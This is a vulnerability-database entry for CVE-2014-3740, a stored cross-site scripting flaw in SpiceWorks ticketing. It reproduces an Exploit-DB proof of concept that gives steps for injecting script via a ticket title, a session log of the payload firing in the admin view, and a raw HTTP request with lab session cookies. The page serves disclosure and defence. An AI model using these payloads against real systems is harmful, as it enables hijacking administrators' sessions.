CVE-2014-3740

low
Published 2014-09-11 ยท Modified 2026-05-06
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
4.5

Description

Cross-site scripting (XSS) vulnerability in SpiceWorks before 7.2.00195 allows remote authenticated users to inject arbitrary web script or HTML via the Summary field in a ticket request to the portal page.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33330 webapps windows verified text ยท 5 KB
Dolev Farhi ยท 2014-05-12

SpiceWorks 7.2.00174 - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB
# Exploit Title: Multiple Stored XSS vulnerabilities in SpiceWorks Ticketing system
# Date: 12/05/2014
# Exploit author: Dolev Farhi @f1nhack
# Vendor homepage: http://spiceworks.com
# Software Link: http://download.spiceworks.com/Spiceworks.exe
# Version: 7.2.00174 (Latest)
# Tested on: Kali Linux
# Vendor alerted: 12/05/2014

1. About the application:
=======================
 SpiceWorks is an IT ticketing system deployed in many companies around the world
 

2. Vulnerability Description:
=========================
Multiple stored XSS were found in SpiceWorks system, allowing an attacker to create a SpiceWorks IT ticket with malicious code.
once an admin attemps to login to the system dashboard to view open tickets, the code executes and the attacker
could potentially steal the admin's cookies.


3. PoC Videos:
===============
https://www.youtube.com/watch?v=lG5Y_okTaos&feature=youtu.be
https://www.youtube.com/watch?v=efIyZRTDS9c

Steps to reproduce:
	i.	 Create a ticket in user_portal with the title <script>alert(document.cookie);</script>
	ii.  submit.
	iii. login as admin user and navigate to the open tickets, the XSS appears.

4. Session Logs:
<-> Vulnerability 1 <->

  <div id="helpdesk" class="helpdesk-root">
  </div>

<script type="text/javascript">
//<![CDATA[

  window.startingEventId = 112;
  window.eventGeneration = '3b30b3bfedfae8be30d2b5412fc93003';
  window.HelpDesk.on("before:start", function() {
    this.options = {
      dateFormat: "%m/%d/%y",
      timeFormat: "%I:%M %p",
      currencySymbol: "$",
      allowDelete: true,
      categories: ["","Maintenance","End User Support"],
      admin: [{"id":1,"first_name":"user","last_name":"far","email":"admin@gmx.com","role":"admin","department":"IT","avatar_path":null,"primary_phone":null,"show_url":"/people/1"},{"id":3,"first_name":"dolev","last_name":"test","email":"attacker@gmail.com","role":"helpdesk_tech","department":null,"avatar_path":null,"primary_phone":null,"show_url":"/people/3"}],
      customAttrs: [],
      disableShortcuts: '',
      data: {
        ticketView: {"name":"open_tickets","label":"Open Tickets","sort_by":"id","sort_dir":"desc","hidden_cols":["created_at","closed_at","category","site"],"tickets":[{"id":11,"summary":"\u003Cscript\u003Ealert(document.cookie);\u003C/script\u003E","status":"open"
        
        selectedSite: "all",
        remoteSites: [{"name":"Central Server","site_id":1}]
      }
    };
  });

//]]>
</script>
</div>


<-> Vulnerability 2 <->

POST /settings/advanced/save_system_setting?name=pdf_header_color HTTP/1.1

Host: ip.add.re.ss

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0

Accept: text/javascript, text/html, application/xml, text/xml, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

X-Prototype-Version: 1.6.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://192.168.186.31/settings/advanced?more_settings=true

Content-Length: 177

Cookie: user_id=BAgw--XXXX6231342123XXXX234213515; portal_user_email=BAhJIhV1c2VyMTk4N0BnbXguY29tBjoGRVQ%3D--f9cd3afeeb246cb35d3670914c45c30e427b76f7; __utma=1.399722362.1399878889.1399878889.1399878889.1; __utmb=1.107.0.1399879583954; __utmz=1.1399878889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); spiceworks_session=BAh7FToPc2Vzc2lvbl9pZCIlNzgzNzc2ZGNiNTg1ZWQ1ODRlMDVmN2QyNmIwMzc5NWU6EF9jc3JmX3Rva2VuSSIxRkJGMC8vQ2VkYmRzNUtPV05PM2lrK0FQeVAyb25zcHg4WTNPOUdOWU1sWT0GOgZFRkkiCmZsYXNoBjsHRklDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsAOgx1c2VyX2lkaQY6FHVzZXJfZmlyc3RfbmFtZUkiCXVzZXIGOwdUOhN1c2VyX2xhc3RfbmFtZUkiCGZhcgY7B1Q6D3VzZXJfZW1haWxJIhV1c2VyMTk4N0BnbXguY29tBjsHVDoWdXNlcl9jb21wYW55X25hbWVJIg10ZXN0Y29tcAY7B1Q6DnVzZXJfcm9sZUkiCmFkbWluBjsHVDoPY3JlYXRlZF9hdEl1OglUaW1lDYeRHICWg2JpBjoLb2Zmc2V0aQIwKjoNcmVtZW1iZXJGOhhsYXN0X2ZlYXR1cmVfdXBkYXRlSXU7EQ2HkRyAfodiaQY7EmkCMCo6FmZlYXR1cmVfdXNhZ2VfbWFwexlpBlRpCEZpCUZpEEZpE1RpFVRpFlRpGEZpGUZpGkZpG0ZpCkZpC0ZpDEZpD0ZpF0ZpHEZpHUZpDVRpElQ6H3VzZWRfZmVhdHVyZV9lZHVjYXRpb25faWRzWwA6FnBvcnRhbF91c2VyX2VtYWlsQA06HWxhc3Rfc2V0dGluZ3NfY29udHJvbGxlckkiDWFkdmFuY2VkBjsHRg%3D%3D--64198aa54c349fff2e6e7db88fe63d864cec55fe; compatibility_test=testing; __utmc=1; last_view=open_tickets; tickets_per_page=25

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache


_pickaxe=%E2%B8%95&value=%3Cscript%3Ealert(%22pdf001%22)%3C%2Fscript%3E&editorId=pdf_header_color_inplace&authenticity_token=FBF0%2F%2FCedbds5KOWNO3ik%2BAPyP2onspx8Y3O9GNYMlY%3D

Application impact

VendorProductVersionsFixed
spiceworksspiceworks{"endIncluding":"7.2.00190"}
spiceworksspiceworks7.2.00174
spiceworksspiceworks7.2.00189

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.